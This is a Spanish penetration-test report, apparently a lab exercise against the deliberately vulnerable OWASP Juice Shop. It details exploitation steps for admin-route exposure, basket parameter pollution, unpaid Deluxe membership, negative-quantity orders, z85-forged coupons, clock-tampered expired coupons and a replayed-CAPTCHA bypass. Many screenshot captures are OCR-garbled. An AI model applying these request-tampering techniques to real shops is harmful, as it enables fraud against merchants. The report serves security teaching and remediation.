gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et
dolore magna aliquyam erat, sed diam voluptua. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at
vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer
adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Check out our boring terms of u:
At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur
dipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore
dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet

Customer Feedback

cioso.com (*+in@juice-sh.op)

(Rt Yry?)

Follow us on Social Media

W Twitter @ Facebook 5k slack ® Reddit Press Kit
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VUL _026 — ACCES the Administration panel

Vul_0
26

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACI
ONES

ACCES the Administration panel

7,2

http://juice.shop/#/administration

En el cddigo del front end encontramos una ruta a la administracién de la
tienda que afortunadamente nos deniega el acceso sin un usuario autorizado.

Si conseguimos acceso administrador a través de algunas de las
vulnerabilidades listas podremos acceder sin problemas.

1
1
1
1 . ‘span’, 13),
16815 . 'LABEL BECOME MEMBER')
1 00
1
1

accounting:, Ruta
mostrada en el cédigo del front end

§ ownse juice shop

Administre

Administracion de la tienda accesible iniciando sesién de administrador

En caso de que un atacante malintencionado pueda acceder, se hara con el
control de informacién sensible, alguna de ella editable y borrable,
comprometiendo gravemente la integridad, confidencialidad y disponibilidad
de los datos de la aplicacion.

La administracion de la tienda deberia manejarse de una forma separada
pues sera un vector de atagque muy importante para los atacantes porque de
poder acceder, contiene informacidn sensible.

En caso de no ser posible separarla, la ruta no deberia ser facilmente
localizable, no deberia poder encontrarse en el codigo del front end y no
deberia usar un nombre comun o conocido.
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https://owasp.org/Top10/A01 2021-Broken Access Control/

REFERENCIAS

https://www.techopedia.com/definition/21985/security-through-obscurity-

sto#:~:text=Security%20through%200bscurity%20(ST0O)%20is,0r%20conceali

ng%20its%20security%20flaws.

Vul_026

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

EVALUACION DE CRITICIDAD CVSS 3.1

ACCES the administration panel

ALTA 7,2

Red, es accesible desde internet

Baja, no se requiere de circunstancias especiales para realizarla

Alta, se requiere un acceso de administrador

Ninguna

Sin cambios, la vulnerabilidad nace y afecta a la aplicacién

ALTA, pues permite obtener datos que nos pueden brindar acceso de
administrador

ALTA, pues si conseguimos accesos de administrador podremos
comprometer la integridad de los datos de la aplicacién

ALTA, pues si nos permite obtener un acceso de administrador
podremos borrar y denegar acceso a los datos de la aplicacion
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EXPLOTACION

Revisando el cddigo se descubre el acceso al panel:

]
[ e ]
(Xl a]
[}
[a]
I

&

path: "administration',
component: ua,
canActivate: [

jt

Se accede en la ruta indicada con un usuario administrador y se podra ver el contenido:

" OWASP Juice Shop

Administration

El acceso de administrador puede ganarse facilmente debido a varias vulnerabilidades reportadas en
este informe y que van, desde un bypass por SQLi en el formulario de inicio de sesidn, la creacion de
un usuario con rol administrador debido a una entrada de datos no debidamente saneada, la
creacion de un TOKEN JWT con rol de administrador o la debilidad de las contrasefias usada por
alguno de los administradores.
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VUL_027 — ANADIR PRODUCTOS a la cesta de otros
usuarios

ANADIR PRODUCTOS A LAS CESTAS DE OTROS USUARIOS

n Vul_027 6,5 MEDIA
http://juice.shop/api/Basketltems

Se rompe el control de acceso gracias a una polucion de parametros.
Esto sucede cuando se envian pardmetros repetidos dos o mas veces
en las peticiones realizadas al back end. Generalmente, como se espera
que estas peticiones vengan debidamente filtradas desde el front end
los programadores no se suele contemplar este tipo de
comportamientos irregulares que pueden producir anomalias en el
funcionamiento.

DESCRIPCION

En este caso concreto, la repeticion del pardmetro Basketld nos
permite saltarnos el control de autorizacion que solo se realizard sobre
la primera aparicidn del pardmetro y afiadir productos a otra cesta que
no sea la nuestra.

Captura de una llamada legitima al back end para afiadir un producto a
la cesta del usuario.

o] LENDEWGTESF . 65 7P . Mgz v
FYacvenrads ip2saceea +5by

M [« [ | omacws @G ]3| [=an ] omatches
Captura de una llamada maliciosa al back end en donde se poluciona el
parametro Basketld. Su primera aparicion es legitima y permite saltarse

EVIDENCIA
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RIESGOS

RECOMENDACIONES

REFERENCIAS

Vul_027

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

la autorizacion mientras que la segunda es maliciosa siendo la que
inyecta la peticion a la cesta de otro usuario.

Se pueden generar ataques aleatorios que generen malestar entre
nuestros clientes, pudiendo incluso generar estos pedidos con
productos no deseados y causan un impacto negativo en la reputacion
de la aplicacion.

Pone al descubierto una mala praxis de los programadores que puede
inducir a pruebas mas exhaustivas de atacantes interesados en la
explotacién de la misma.

Es importante tener siempre en mente que las peticiones que se envian
al back end pueden ser alteradas, por ello, los filtros de seguridad
deben configurarse con cautela tanto en el front end como en el back
end.

Pareceria que la funcién que busca el Basketld para autorizar y la
funciéon que busca el Basketld para afiadir el producto, lo hacen
cambiando el orden en que se buscan los pardmetros. Si lo hicieran en
el mismo sentido, esta vulnerabilidad en concreto desapareceria.

https://owasp.org/Top10/A01_2021-Broken_Access_Control/

EVALUACION DE CRITICIDAD CVSS 3.1

ANADIR PRODUCTOS A LA CESTA DE OTROS USUARIOS

MEDIA 6,5

Se accede desde internet.

Baja, su descubrimiento es basico y su explotacion también.

Bajo, requiere la creaciéon de un usuario tipo “customer” en la
aplicacion.

Ninguna, no se requiere de interaccién con usuarios de la plataforma.
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Alcance Sin cambios, en este caso la vulnerabilidad se encuentra y afecta a la
propia aplicacion.

. - Ninguna, esta vulnerabilidad en si no permite ver las cestas de otros
Confidencialidad USUATIOS

Alta, permite afiadir productos a la cesta de otros usuarios y
Integridad comprometer la integridad de los datos en una de las funciones
principales de la aplicacién, la cesta de la compra.

Disponibilidad Ninguna, no permite borrar productos de la cesta de otros.

EXPLOTACION

Lo primero es capturar una peticidn legitima para cargar un producto a la cesta de un usuario bajo
nuestro control, editarle y afiadirle un segundo parametro de Basketld con un nimero diferente. La
cesta que se actualizard entonces sera la perteneciente a otro usuario:

Request Response —
[, ERT = R M e e oo @ 0 =

1 POST /api/BesketItems; HTTP/1.1

% Vst 162.189.42, 104 13000

3 user-agent: Mozillass.0 (X11; Linux x@6_Sa; rviol.0) Gecke,20100101 Firefoxssl.0
3 hccepts spalicationssson, tox

2 HTTRA1.1 200 O

2 fesess-control- allow-Origin:
3 X-Gontent-Type-Gptians: nosmiit
a aim
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7
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9 LePSyyrus; tokens
‘2yJ0EXA1 00 JIW101 LCIB5E1 01 JSLIZT 18 15, 2y Jzd0FDAM: 01 JZdWH) ZHNET 1 2G0T S1 ey JpZEL SMIESLN V226
I Tz

e = TNz AT U
20x21 151 4bEL 0103 dRNh21 i L5 TRLbHVAZVRVa2L 01 11w GFedExvZ2] e On Tw 34
Zrlaai zrwdll jai hzzizl S p:

L i3
e o LNjgSTCanmn
u e Dz b
hecIenT 9 E510.di7PrLFessq yCZ2g5Tan_Tybs_Tm3ant
tra b bERATIGNTATUASTHAT

#8ar atdarUbhoL RbkknobHtnoT e

15 Eroductidt 8,
=

@ B[ omstehes (DS (€3] s omatcres
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VUL _028 — DELUXE Fraud

DELUXE Fraud

DESCRIPCION

EVIDENCIA

6,5 MEDIA

http://juice.shop/#/deluxe-membership

La tienda ofrece los usuarios convertirse en miembros “deluxe” si se realiza un
pago.
No obstante, debido a que la entrada de datos solo se filtra en el front end, es

posible alterar la peticion enviada al back end y conseguir suscribirse al
servicio sin realizar pago alguno.

Esto es debido a que el software no maneja correctamente todas las opciones
posibles que se le pueden dar al parametro que indica la forma de pago y si
este se pasa en blanco, lo da por valido y genera el pedido como si estuviera
pagado.

Captura de una peticion de suscripcion licita con método de pago por por
tarjeta interceptada en el momento de enviarse al back end.

TNy b ney opo
& et tohp w168 413000
Forward oop  NEEETEEEN  icnn || cpesmen @ e @

Captura de la misma peticién editada, poniendo como método de pago un
valor vacio y enviada al servidor:

2158440330

Captura de la suscripcion conseguida sin pagar nada
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i owase juice shop

Esta vulnerabilidad afecta especialmente a la integridad de los datos que
maneja la aplicacidn, pues vamos a tener suscripciones ilicitas y no permitidas

RIESGOS con pagos nulos en nuestra web.

Ademas, en funcién de lo que se ofrezca a los miembros “Deluxe” el impacto
de esta vulnerabilidad puede ser atiin mayor.

Es muy importante que todas las entradas de datos que recibe el back end se
filtren nuevamente en este porque es posible interceptar y alterar todas las
peticiones enviadas al mismo.

RECOMENDAC
IONES

https://www.packetlabs.net/posts/broken-access-
REFERENCIAS control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_028 DELUXE Fraud

CVSS3 PUNTUACION MEDIA 6,5

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario
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Interaccion del usuario Ninguna

Alcance Sin cambios, la vulnerabilidad nace y afecta a la aplicacion

Confidencialidad Ninguna pues no se accede a datos sensibles.

Alta, pues permite crear cuentas “DELUXE” sin el pago necesario, y,
Integridad en consecuencia, los datos que se mostraran no son fidedignos pues
son cuentas que no deberian tener dicho calificativo.

Disponibilidad Ninguna, no permite denegar el servicio

EXPLOTACION

Desde una cuenta de usuario normal solicitamos la suscripcion “DELUXE”:

Deluxe Membership

Enjoy amazing benefits as a a deluxe customer of OWASP Juice Shop. Check out what is included with your
membership.

49x

Become a member

Seleccionamos como método de pago una tarjeta:

My Payment Options

FHREE ] 546 deluxel

Add new card

Pay using wallet Wallet Balance

Add a coupon

Other payment options

Juice Shop! %)

> Continue

Y al dar a continuar, interceptamos la peticiéon que se envia al back end antes de que este la reciba
con un programa como BURP:
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Editamos el parametro “paymentMode” y lo dejamos en blanco. Seguidamente enviamos esa
peticion al servidor como se muestra en la siguiente captura:
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*paymnibades:
*paymancTdt:T

Automaticamente habremos conseguido sin cargo alguno la membresia “DELUXE” como se muestra

en la siguiente captura:
i OWASP Juice Shop

vallenge: Deluxe Fraud (Obtain 3 Deluxe Membership without paying for it}

Deluxe Membership

it what is included

ng benefits as a a deluxe customer of OWASP Juice Shop. Check ou
membershi

Enjoy amaz

Deals and Offers Free Fast Delivery Unlimited Purchase
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VUL_029 - PAYBACK Time

PAYBACK Time

6,5 MEDIA

http://juice.shop/api/Basketltems

Cuando se afnade un pedido a la cesta se realiza una peticioén a la ruta
/api/Basketltems enviando como parametro la cantidad de unidades
de dicho producto a anadir.

El back end confia plenamente en que estas peticiones son correctas y
no dispone de filtros de seguridad, por lo que es posible interceptar la
peticidn e introducir un valor negativo en la cantidad de productos lo
que causa que se generé un pedido en el que la tienda quedara a deber
dinero al usuario.

DESCRIPCION

Taet e mezcn 7 e (3

e s D@ €[F omane

Imagen de un producto que se afiade con cantidad negativa

EVIDENCIA

| OWASP Juice Shop

Your Basket (delu

ﬂ Fruit Press

Total Price: -1079880

Imagen de la cesta con una cantidad negativa de productos.
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i OWASP Juice Shop

Order Summary

Pedido generado que genera una deuda de la tienda hacia el usuario

En el menor de los casos, malfuncionamiento de la aplicacion.

Deja al descubierto que hay partes del front end que no filtran

RIESGOS debidamente los datos.

Posibles problemas legales con pedidos negativos.

El back end no valida que las peticiones recibidas sean correctas y
RECOMENDACIONES permitidas. Deberia instaurarse un filtro que, por ejemplo, no
permitiera valores negativos en la cantidad de productos.

https://owasp.org/www-
community/vulnerabilities/Improper Data Validation

REFERENCIAS

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_029 PAYBACK Time

CVSS3 PUNTUACION MEDIA 6,5

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Baja, se requiere una cuenta de usuario regular
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Interaccion del usuario Ninguna

Alcance

Con cambios, la vulnerabilidad nace y afecta a la aplicacion.

Confidencialidad Ninguna, no se accede a informacién sensible

. Alta, permite realizar pedidos con cantidades negativas que no
Integridad . .
deberian ser posibles

Disponibilidad NINGUNA, no permite denegar el servicio

EXPLOTACION

En el funcionamiento normal de la aplicacidn, los botones de afadir o restar productos a la cesta de
la compra generan una peticion PUT a la ruta /api/Basketltems/id
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En dicha peticidn se envia un pardmetro “quantity” que editara la actual cantidad existente.

Si bien el front end no nos permitira enviar aqui un niUmero negativo, al interceptar la peticiény
enviarla directamente nosotros al back end nos permitira pasar por alto este filtro de seguridad.
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De esta manera se genera una cesta de la compra con valores negativos que se podran procesar.

| OWASP Juice Shop
our Basket (deluxel(
Fruit Press

Total Price: -1079880x

‘| Checkout

‘ OWASP Juice Shop

You successfully solved 3 challenge: Payback Time (Piace an order that makes you rich.)

crl Address

0.99x

Total Price -1079879.01%

You have gained 10800

140



VUL_030 -FORGED coupon

FORGED coupon

6,5 MEDIA

http://192.168.1.41:3000/#/payment/shop

Se descubre que los cupones se crean mediante la codificacion de una
cadena de texto de 8 caracteres con el algoritmo z85.

La validacién de los mismos se ejerce solo sobre su longitud total (tiene

los caracteres autorizados, ni mas ni menos) y la fecha actual.
DESCRIPCION

Sin embargo, no se valida que él % de descuento que tiene cada cupdn
permitiendo que un atacante que descubra el algoritmo de cifrado de
los mismo crear cupones vdlidos con un maximo de un 99% de
descuento.

'
"dependencies”:
"body-par ~1.18%,
"colors
"conf 0
"cook rser”: "-1.4%,

"dottie":

"epilogue-js

"errorhandl ~

"express": 16",

"express- Hil T I

"fs-extra ~4.0",

"glob":

"grunt”: .0",

"grunt-angular-templates”: "~1.1",

"grunt-contrib-clean": "~1.1",
unt-contrib-compre
unt-contrib-concat

"grunt-contrib-uglify":

"hashids” 1"

"helmet":

"html-entit

"jasmine":

EVIDENCIA

'
"sanitize-html": "1.4.2",
"sequelize”:
"serve-favi £
"serve-inde

Captura de una dependencia de codificacion encontrada en el archivo
de backup del desarrollador.
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Data to Encode [ Decode *
Enter the data here to encods or decods from and to 285

JAN13-10
n<MibgC7sn

Decodificacion de un cupdn antiguo con el algoritmo z85

cx

Data to Encode / Decode *

Enter the data here to encode or decode from and to 785

k#*Agga+Hu
AUG22-90

Encode Decode

Codificacion de un cupén con un 90 % de descuento

My Payment Options

Wallet Balance & pay 1,981

Other payment options

< Back " s order be alizec » Continue

Aceptacion del cupdn en la pantalla de pagos

El forjado de cupones permitiria realizar un ataque de desprestigio,
publicando cupones validos con grandes descuentos en la web de
forma que muchos de nuestros clientes, solicitaran pedidos con estos
cupones suponiendo un problema grave pues, o admitimos que la web
RIESGOS no funciona bien, o servimos perdemos dinero sirviendo productos a
precios no aceptables.

También podria producir pedidos que, de no ser detectados, generarian

pérdidas econdémicas a la empresa.

Se recomiendo que los cupones se generen de forma RANDOM, de
manera que un atacante no pueda reproducir cupones validos.

RECOMENDACIONES
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En caso de querer seguir usando el mismo sistema de generacién de
cupones se deberia validar que el porcentaje descuento y el momento
en que se aplica es correcto o de otro modo rechazarse.

https://owasp.org/www-project-automated-threats-to-web-

applications/
REFERENCIAS https://owasp.org/Top10/A02 2021-Cryptographic Failures/

https://owasp.org/www-
community/vulnerabilities/Improper Data Validation

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_030 Forged Coupon

CVSS3 PUNTUACION MEDIA 6,5

Vector de Ataque Red, es accesible desde internet

Complejidad Baja

Ninguno, aunque se requiera una cuenta de usuario para comprar
Privilegios requeridos usando un cupdn, no se requiere ninguna cuenta para crearlos y
usarlos en contra de la empresa.

Interaccion del usuario Ninguna

Alcance Sin cambios.

Confidencialidad Media, permite obtener datos que deberian ser privados

Media, porque permite usar datos no creados por el propietario en
la aplicacién de una forma valida

Integridad

Disponibilidad Ninguna, actualmente no permite denegar el servicio
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EXPLOTACION

En el archivo de ventas descargado del ftp encontramos varios cupones.

n<Mib gC7sn
mNYS# gC7sn
o*IVi gC7sn
k#pDI gC7sn
o*l]p gC7sn
n(XRv gC7sn
n(XLt gC7sn
k#*Af gC7sn
q:<lq gC7sn
pEw80o gC7sn
pes[B gC7sn

1}6DS gC7ss

Si se observan, pareceria ser que la parte final se repite: “gC7sn”.

Eso pareceria indicar que se crean a partir de un texto del cual se repite una parte, por ejemplo, un
porcentaje de descuento, una fecha, etc.

Lo mds importante es que revela que hay un patrdén y que los cupones no son generados RANDOM.

Podemos afrontar esto de dos formas. Una, seria buscar si la aplicacién esta usando alguna libreria o
dependencia de cifrado. La otra, es pasar tratar de buscar la solucidn a través de un analizador de
cifrado.

Revisando las dependencias que habiamos encontrado en el archivo del desarrollado existente en el
ftp vemos una libreria de cifrado:
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r

"dependencies": {
"body-parser”: "~1.18",
“colors”: "~1.1",
"config":
"cookie-parser
"cors": "~2.8",
"dottie":
"epilogue-js":
"errorhandler”:
"express 4,16",
"express : "0.1.3",
"fs-extra": "~4.0",
"glob": "~5.0",
"grunt": "~1.0",
"grunt-angular-templates”: "~1.1",
"grunt-contrib-clean": "~1.1",
"grunt-contrib-compress”: "~1.4",
"grunt-contrib-concat”: .e",
"grunt-contrib-uglify": "~3.2",
"hashids": "~1.1",
"helmet": "~3.9",
"html-entities": "~1.2",
"jasmine": ""2.8.0",
"js-yaml": "3.10
"jsonwebtoken”:
"jssha": "~2.3",
"libxmljs":
"marsdb”
"morgan”:
"multer”:
"pdfkit":
"replace
"reguest”:
"sanitize-html
"sequelize”:
"serve-favicon":
"serve-index": "~1.
"socket.io": "~2.0",
"sqlite3": "~3.1.13",
"z85": "~0.0"

KaliTools  KaliDocs ~ KaliForums  KaliNetHunter J OffSec = Exploit-DB = GoogleH cketSecur.. @ Hack The Box = Metasploitabl... @ Tinoco Linar]
B readme B Explore [T & 0Dependencies &5 6Dependents @ 2versions
[ 1 Bassinal - Fioow ] nstal
z85 nom i 285

ZeroMQ Base-85 Encoding for node.js

Repositary

€ github.com/msealand/z85.node

Intallation
Homepage
4 npm install z85 & github.com/msealand/z85.node
4 Weekly Downloads
Example A
3,350
The test case in the rfc: Version Licemse
0.0.2 MIT
var 285 = require('z85');
ssues Pull Requests
var bytes = mew Buffer([8x86, ©x4F, €xD2, 8x6F, ©xB5, 8x59, @xF7, €x58]); 0 1
result = z85.encode(bytes);
console.log('Encoded: ', result); astpublish
Byears ago
var string = 'HelloWorld',
result = z85.decode(string); Collaborators.
console.log('Decoded: ', result.toString('hex')); -
L PR mman e

Asi pues, insertamos uno de nuestros cupones en un decodificador z85 y encontramos el contenido
de los patrones:
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Data to Encode [ Decode *

n<MibgC7sn

Encode Decode

Como vemos se trata del mes, el afio y un porcentaje de descuento. Con la misma herramienta

creamos uno, pero con un 90% de descuento:

JAN13-10

Data to Encode [ Decode *

AUG22-90

Encode Decode

k#*Agga+Hu

Lo insertamos en un pedido y efectivamente, la aplicacién lo acepta:

My Payment Options

Add new card

Pay using wallet

Add a coupon

Other payment options

Add a coupon

Other payment options

Wallet Balance

1 review this order before it is finalized.

2/2081

4/2086

i3
o Pay 1.98x

> Continue
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Si creamos un cupdn con el 100 % de descuento la aplicacién lo rechaza. Esto es asi porque al crear
un cupdn con dicho descuento, el largo del mismo es de dos caracteres mas:

e (Cdédigo del 99 es: k#*Agga+HD
e (Cdédigo del 100 es: k#*Agga+jmfA

Por ello, observamos que la validacion de los cupones se realiza solo basandose en el largo del
cupon.

Order Summary
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DESCRIPCION

EVIDENCIA

VUL 031 — Expired Coupon

Expired coupon

6,4 MEDIA

http://192.168.1.41:3000/#/payment/shop

Aparte de los cupones generados, existen también cupones de
temporada en la tienda de juice shop. Estos cupones se encuentran
facilmente en archivo main.js accesible desde internet, por lo que es
facil hacerse con ellos.

Para poder usarse, estos cupones cuentan con una validacion de fecha.
Asi, por ejemplo, un cupdn de descuento valido para el black friday solo
se podra usar ese dia.

No obstante, la validacion de tiempo se ejecuta en el lado del cliente,
es decir, se toma como referencia la hora de la maquina del cliente, no
la del servidor. Por tanto, un atacante puede alterar ese valor y usar
dichos cupones en sus pedidos simplemente cambiando la fecha y hora
de su ordenador.

void 0, this,translate.oet(' IVALID_COUPON') . subscribe(i=-{

Captura de la funcidn que busca en el lado cliente la hora para ejecutar
la validacion del cupdn.

Add a coupon

8 Redeem

Captura de la aceptacion de un cupdén caducado una vez cambiada la
hora del sistema
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TNis.walletsalance = v,

= B3 Main Thread this.totalPrice = @,
- & 192.168.1.41:3000 this.paymentMode = 'card',
this.campaigns = {
(3 (index) WMNSDY2019: {
{ } mainjs validOn: 1551999606000,
discount: 75
15 polyfills.js }
JS runtime.js WHMNSDY2020: {
iali validOn: 1583622006008,
I tutorial js discount: 6@
JS vendor.js +

WMNSDY2821: {
validOn: 1615158808008,
discount: 60

» @ cdnjs.cloudflare.com

T

WMNSDY2022: {
validOn: 1646694006000,
discount: &0

+

WHMNSDY2023: {
validOn: 1678230006008,
discount: 6@

i

ORANGE2820: {
validOn: 1588546808000,
discount: 50

i
ORANGEZ2821: {
validOn: 1620082808000,

diccaunts A8

Captura de la lista de cupones antiguos encontrados en el main.js

Permite que se generan compras con descuentos no permitidos que
pueden causar dafios econdmicos a la empresa.

Existe una mala préctica a la hora de desarrollar el codigo que podria
darse en otros lugares en donde el riesgo fuera mayor.

Podria producir noticia y acabar generando mala reputacion a la
aplicacion.

RIESGOS

RECOMENDACIONES

La validacion de los cupones deberia hacerse segun la hora del servidor.
Ademas, los cupones antiguos no deberian estar visibles en el cédigo
del front end ni tampoco las funciones que los manejan. La validacion
deberia realizarse desde el back end.

REFERENCIAS iaia e Rl A o
community/vulnerabilities/Improper Data Validation

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_031 Expired Coupon

CVSS3 PUNTUACION MEDIA 6,4

Vector de Ataque Red, es accesible desde internet

149


https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation
https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation

Complejidad Baja

Privilegios requeridos Ninguno

Interaccion del usuario Ninguna

Cambia, porque la vulnerabilidad afecta nace en la aplicacion, pero
acaba afectando a la parte de ventas y relaciones con el cliente.

Alcance

Confidencialidad Baja, permite obtener datos que deberian ser privados(cupones)

Baja, porque permite usar datos de cupones en momentos que no

| i i
ntegridad deberian poder usarse.

Disponibilidad Ninguna, actualmente no permite denegar el servicio

EXPLOTACION

Localizamos los cupones antiguos en el cédigo:

Inis.waLletbalance = o,

v (3 Main Thread 13280 this.totalPrice = 0,

v & 192.168.1.41:3000 e ::§S-pafmeztﬁ‘lode : ‘card’,

. 1328 is.campaigns =

[ (index) 1328 WHNSDY2619: {
1328 validOn: 1551999680068,

discount: 75

15 polyfills js
IS runtime.js 13287 WHNSDY2020: {

validOn: 1583622806000,
discount: 6@

15 tutorial.js

Js vendorjs I

WHMNSDY2021: {
validOn: 1615158000000,
discount: 6@

» & cdnjs.cloudflare.com

T

WMNSDY2022: {
validOn: 1646694806008,
discount: 6@

I

WMNSDY2023: {
validOn: 1676230806000,
discount: 60

I

ORANGE2620: {
validOn: 1588546806008,
discount: 5@

T

ORANGE2621: {
validOn: 1620082800000,
s

+. A0

Descubrimos la funcion de verificacion de los mismos:
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Cambiamos la hora de nuestro sistema para que el cupdn sea vdlido:

~

ctl set-time "2¢

Local time: vie 2019-03-08 00:00:03 CET
Universal time: jue 2019-03-87 23:00:03 UTC
RTC time: jue 2019-83-07 23:00:03
Time zone: Europe/Madrid (CET, +0100)
System clock synchronized: no
NTP service: inactive
RTC in local TZ: no

Aplicamos el cupdn en una compra con éxito:

Add a coupon Add a coupon
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VUL _032 — CAPTCHA Bypass

CAPTCHA Bypass

Vul_032 6,4 MEDIA

http://juice.shop/api/Feedbacks

La tienda utiliza un sistema de captcha que asocia la solucién de cada
uno de estos retos a un id. Un atacante puede obtener esta relacidn
capturando una peticién normal de captcha y usarla para pasar de
DESCRIPCION forma automatica el mismo.

En el caso de los Feedbacks, es posible automatizar la publicacién de
los mismos.

Imagen de una respuesta del servidor donde vemos el captcha en texto
plano, el resultado correcto de solucionar el mismo y su id.

Horezs A Paams Fat | Sane  Legh MPEGR  Fasnden e comment v e Tee s en

| MR PO apieeduel — o e e ssaaa . e
:  hmhmwsssiere o s B m Tries szise romer
RN S R R pr e B sen T8t 42152 Darm i wamw

= = |inseecTor
e Anrntes

Racput Cokas 61

Imagen de una peticion para publicar feedback que dard ok siempre
pues lleva el id del captcha y el resultado correcto.

EVIDENCIA

Request Response
B vx B 0 = B row Hex feder B 0 =
1 POST /api /Feedbacks/ HTTP/1.1 1 HITP/1.1 201 Created
2 Host: 192.169.42.194:3000 2 Access- Control-Allow-Origin: *
3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:i91.0) Gecko/20100101 Firefox/g1.0 3 X-Cantent-Type-Options: nosniff
4 Accept: application/ison, text/plain, */* 4 X-Frame-Options: SAMEORIGIN
S Accept-Language: en-Us,en;q=0.5 s Feature-policy: payment 'self’
© Accept-Encoding: gzip, deflate 6 Location: fapi/Feedbacks/20
7 Content-Type: application/json 7 Content-Type: application/json; charsetsutf-8
9 Content-Length: 71 & Content-Length: 169
9 Origin: http://192.168.42.194:3000 I o ETag: W/ a9-UIRg=fBUCTETVpzkRSBxyrwd 75"
10 Connection: close 10 Vary: Accept-Encoding
11 Referer: http://192.168.42.194: 3000/ 11 Date: Mon, 20 Jun 2022 21:44:28 GMT
12 cookia: languagezen; welcomebanner_status=dismiss; cookieconsent_status=dismiss; 12 Comnection: close
continueCode=ghSkzxqPI6noXAQ3tHT ZFE1 a 1ub7f VPHENSKoUL Nt VT yBGADL Z1SW3vRyEw; 1
continueCoderi ndl t=XoD] VmdMbn7NDEPNS03La0d] 06 247kue 4GY ¥ rgEL ZRgpSk VK Y XXOLEqENV2; 14 {
+ deFixT t=pgz6a] v ydr i 1Eur) q *status’ :"success’
13 ‘data":{
1
“captchald":13, t lanonymous)®,
“eaptehat s EO",
“comment® " test (anonymous)”, 022-06-20T21:44:28.8062" ,
“rating":2 "createdAt! : *2022-06- 20721: 44: 28. 806" ,
} "userld":null
T
1

Imagen de la automatizacidn de la peticién para publicar mas de 10
feedback’s en menos de 10 segundos usando BURP.
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RIESGOS

RECOMENDACIONES

REFERENCIAS

Attack Save Columns

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request Payload Status Error  Timeout Length Comment
0 2m 537
1 hola 2m 525
2 hol 2m 524
3 as 2m 523
4 asdf 2m 525
5 adf 2m 524
6 asdf 2m 525
7 asdf 2m 525
-] er 2m 523
9 sdfgh 2m 526
10 ert 2m 524
n ghas 2m 525
12 et 2m 523
12 g 2m 522
14 ed 2m 523
15 sdf 2m 524
16 s 2m 522

17 A 2m 522

Customer Feedback

El CAPTCHA que presenta la aplicacion nos ayuda a prevenir
automatizaciones en la aplicacion para prevenir, por ejemplo, el SPAM.

Debido a este bypass, esta funcionalidad queda inutilizada y un
atacante malintencionado nos podria llenar la aplicacion de
comentarios indeseados y automatizar completamente la publicacion
de los mismos, afadiendo ademas links maliciosos para dafar a
nuestros usuarios.

El captcha se tendria que validar en el back end y solo enviar el reto a
la aplicacién en la peticion de forma que no se pudiera identificar una
respuesta a un id. Ademas, deberia ser de un solo uso, se deberia
generar de forma RANDOM y no permitirse mas de una publicacidn por
captcha.

https://owasp.org/www-project-automated-threats-to-web-

applications/
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_032 CAPTCHA Bypass

CVSS3 PUNTUACION MEDIA 6,4

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario

Interaccion del usuario Ninguna

Con cambios, inicialmente la vulnerabilidad nace y afecta a la
aplicacion, pero puede llegar a afectar a los usuarios si se publican
enlaces maliciosos y se crean ataques para estos.

Leve, se accede a datos sobre el CAPTCHA como su id que no

Confidencialidad ,
deberian mostrarse

Leve, pues permite enviar comentarios de manera automatizada
siendo que los datos no son como deberian ser

Integridad

Disponibilidad Ninguna, no permite denegar el servicio

EXPLOTACION

Cuando nos disponemos a enviar una resefia se nos presentara un captcha.

Si lo resolvemos normalmente y enviamos la reseifia podemos ver lo siguiente:
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" Host. Methad URL Params  Edited  Status  Length MIMERtype  Extension Title comment s " Cookes Time Listener part
e o7 e e — Dl o

= = NsPECTOR
Requast attributes
Request Coskles )
Request Headers 9]

Resgonse Headers (10

De los pardmetros enviados destacamos dos:

o el “captchald” que contiene el identificador del reto
o el “captcha” que contiene el valor de la solucion.

A partir de aqui, podemos reenviar esta peticién las veces que queramos, pues ese id de captcha se
almacena y puede volver a usarse, permitiendo automatizar los envios de comentarios a dicha
plataforma.

A continuacién mostramos una captura de un envio masivo de feedbacks explotando esta
vulnerabilidad con BURP.

Attack Save Columns

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request Payload Status Error  Timeout Length Comment
0 201 537
1 hola 201 525
2 hol 201 524
3 as 201 523
4 asdf 201 525
5 adf 201 524
4] asdf 201 525
7 asdf 201 525
8 er 201 523
9 sdfgh 201 526
10 ert 201 524
n ghas 201 525
12 et 201 523
13 g 201 522
14 ed 201 523
15 sdf 201 524
16 5 201 522
17 A am 5272
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VUL _033 - VER LA CESTA de otros usuarios

